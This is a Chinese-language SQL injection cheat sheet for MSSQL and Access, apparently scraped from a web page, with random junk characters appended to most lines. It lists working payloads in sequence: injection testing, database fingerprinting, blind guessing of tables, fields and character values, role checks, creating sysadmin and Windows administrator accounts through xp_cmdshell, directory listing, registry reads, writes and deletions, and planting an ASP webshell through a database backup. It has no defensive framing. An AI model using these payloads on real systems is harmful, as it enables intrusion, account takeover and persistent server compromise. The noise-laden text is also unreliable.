1.判断是否有注入;and 1=1 ;and 1=2 k5QD5/Ej
2.初步判断是否是mssql ;and user>0 K6*UFO4}i
OMI!=Upz
3.注入参数是字符'and [查询条件] and ''=' [=ak>>8
'ag6B(0Z
4.搜索时没过滤参数的'and [查询条件] and '%25'=' dIa(</ }
m4U+,|Fa
5.判断数据库系统 WfT)CIKs
iSz@E&[X
;and (select count(*) from sysobjects)>0 mssql m2q;^o:J
o / g+Z
;and (select count(*) from msysobjects)>0 access D4O5@KfL
aU<D$I
*8X9lv.Z
\.;ct
6.猜数据库 ;and (select Count(*) from [数据库名])>0 =>}.W:=
dwbY"t[9
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 *RbOQ86vP
(&S[R{=^j
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 W;oU +z^t$
n vpPmc
9.(1)猜字段的ascii值(access) Jv^cOc
G q:4rG|
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T~~[a|bLa
_O)2
(2)猜字段的ascii值(mssql) Ms'TC;&PS
)
~)SCN>-
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 j)tCr Py
^Ii \vk
10.测试权限结构(mssql) 5 (21gW9
4 ^~zN"6]
r>:L$_]L
*- IlF]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #"p1Qea$
5Jhbf2-
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ?+,*YVT
RTgA[O4J
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Ns|V7|n]
u->@|tEq
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- E7NbPNd
O`[iz/7m
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- yEpN,A
$mI:Im`s
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ZA_zKJ[[7
nze1]3`
;and 1=(select IS_MEMBER('db_owner'));-- Ih-3t*L
=SK+\j$
w{e3U7;
jQxPOl$-
11.添加mssql和系统的帐户 ,hTwNVWI9
'6.>Wdd
;exec master.dbo.sp_addlogin username;-- VU`z|nBW@
;exec master.dbo.sp_password null,username,password;-- mzV"G>,o
/,Dwu?Lcqp
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ]o[X+;Tj|
3:~l2KIP4
;exec master.dbo.xp_cmdshell 'net user username password y@kcXlY
~ACP%QM=
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- SGBVR ^
"wF
?Hamz
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \at-"[.
ZO%fS'n
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- o[6vxTH
Q@e*$<3
/nY).lSH
e>,9]{N+$
12.(1)遍历目录 9QOr,~~s
o!s%h!%L
;create table dirs(paths varchar(100), id int) $d2kHT
Wd^lt7(j
;insert dirs exec master.dbo.xp_dirtree 'c:\' u 5Eo
z{`6#
;and (select top 1 paths from dirs)>0 <;z[+6T
Mm5U`mB
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ~}$\B^z+
z)&naw.
4/HY[FT
!c4)pMd
(2)遍历目录 Z{a{H X[Jx
![a/kj
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- N#RD:"RS!
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 462!;/y
192 .W+H<
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7wiK.99
=`]|/<=9'U
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 RRS~ xOg
Mt[Bq6}ZD
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 P1 7> 6)a
om".j
` $.X [\*U
~']&.
13.mssql中的存储过程 a9D gy_!Y
VMxYZkMNd_
xp_regenumvalues 注册表根键, 子键 P1)* q0
x1m8~F
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 u}-d7-=
;OQ'B=uK
xp_regread 根键,子键,键值名 aQ!9#d_D
Pn'`Q S?
;exec xp_regread X"hOHx5P
y3={NB+
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 `d}W;&c
I" 8d5a}
xp_regwrite 根键,子键, 值名, 值类型, 值 C
'B4 mmC
8qFUYZtY
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 69[V <1
-O~C m}e
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 A$9q!Ui#d
DC$7B`#D
xp_regdeletevalue 根键,子键,值名 <S\;k@f
wUru1_zjO
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Ud>`@2
@@xO+$6
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Fa sI'Ulk
j}|N^A_ S
`"xk,fVYd
\3t,|%v
14.mssql的backup创建webshell :k WZSN8.D
Wk/fB0
use model -@%t"8
U9<_6Bsd
create table cmd(str image); _-@ZOhw&
*C4~}4WT\
insert into cmd(str) values (''); q?;N7P
I6K7!+;2
backup database model to disk='c:\l.asp'; -!XrwQyk
3
R5%N
~
Ff[H>Lp~
u{g]gA8s
15.mssql内置函数 ?JuX~{{.L
~8jThi
U
;and (select @@version)>0 获得Windows的版本号 KH>Sc3p
"[awmZ:wo
;and user_name()='dbo' 判断当前系统的连接用户是不是sa =:4'
JZ %`%rA
;and (select user_name())>0 爆当前系统的连接用户 W.yV/fu
vx04h ~
;and (select db_name())>0 得到当前连接的数据库 k k
8R
t*o7,
E=;BI">.
Xy[}G p
16.简洁的webshell Z -pyFK\
Qe2m8
use model !(B_EM
!aQIh
create table cmd(str image); d>^~9X
5+y@ ]5&g
insert into cmd(str) values (''); *w=z~Jq^R"
F`fGz)Mk
backup database model to disk='g:\wwwtest\l.asp';